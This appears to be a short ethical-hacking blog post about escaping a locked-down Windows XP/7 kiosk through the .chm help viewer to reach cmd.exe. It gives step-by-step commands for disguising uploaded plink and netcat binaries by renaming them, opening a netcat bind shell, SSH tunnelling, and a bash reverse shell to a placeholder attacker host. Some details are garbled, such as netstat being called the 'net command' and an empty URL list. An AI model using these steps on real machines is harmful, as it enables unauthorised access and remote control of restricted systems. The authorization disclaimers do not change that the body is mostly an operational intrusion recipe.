Listen to this Post
This article provides a useful trick for ethical hackers to gain a shell on a restricted Windows system, particularly older versions like XP or 7. If you find yourself on a locked-down system where only the browser is accessible, you can exploit the help (.chm) pages to execute commands. Here’s how:
1. Accessing the Shell:
- Right-click the title bar of a .chm help page and select “Jump to URL.”
- Type `shell:system/` and press Enter.
- On newer Windows systems, you can achieve the same by typing `shell:system` in the browser’s address bar (CTRL + L).
2. Running Command
- If prompted to view the contents of
c:\windows\system32, click “Yes.” - Type `cmd.exe` and attempt to run it as an administrator. If successful, you have access to the command prompt. If not, simply run `cmd.exe` without admin privileges.
3. Using the Temp Directory:
- Navigate to the temp directory using
cd %temp%. This directory is writable by any user and is cleared on reboot, similar to `/tmp` in Linux.
4. Enumerating System Information:
- Use the `net` command to identify open ports and services:
[cmd]
netstat -ano
[/cmd] - Check if PowerShell is available:
[cmd]
powershell
[/cmd]
5. Uploading Tools:
- Upload tools like `plink.exe` (renamed to
ssh.exe) and `nc.exe` in an obfuscated manner. For example:
[cmd]
ren plink.exe s.docx
copy s.docx s.exe
[/cmd] - Use these tools to set up reverse listeners or enable remote access via VNC.
6. Advanced Techniques:
- Use `plink.exe` for SSH tunneling:
[cmd]
s.exe -ssh -P 22 user@remotehost -pw password
[/cmd] - Set up a reverse shell using
nc.exe:
[cmd]
nc.exe -lvp 4444 -e cmd.exe
[/cmd]
What Undercode Say
This technique is a clever way to bypass restrictions on older Windows systems, leveraging built-in features like the help viewer and temp directory. While it may not work on modern, fully patched systems, it highlights the importance of understanding system vulnerabilities and how they can be exploited. For ethical hackers, mastering such tricks is essential for penetration testing and security assessments.
To further enhance your skills, consider practicing the following Linux and Windows commands:
- Linux Commands:
- Check open ports:
netstat -tuln
- Set up a reverse shell:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
- Use SSH for remote access:
ssh user@remotehost
-
Windows Commands:
- Enumerate users:
[cmd]
net user
[/cmd] - Check system information:
[cmd]
systeminfo
[/cmd] - Use PowerShell for advanced tasks:
Get-Process
For more advanced techniques, explore tools like Metasploit, Nmap, and Wireshark. Always ensure you have proper authorization before testing these methods on any system.
Relevant URLs:
By combining these commands and tools, you can build a robust skill set for ethical hacking and cybersecurity. Remember, ethical hacking is about improving security, not exploiting it for malicious purposes. Always adhere to legal and ethical guidelines.
References:
Hackers Feeds, Undercode AI


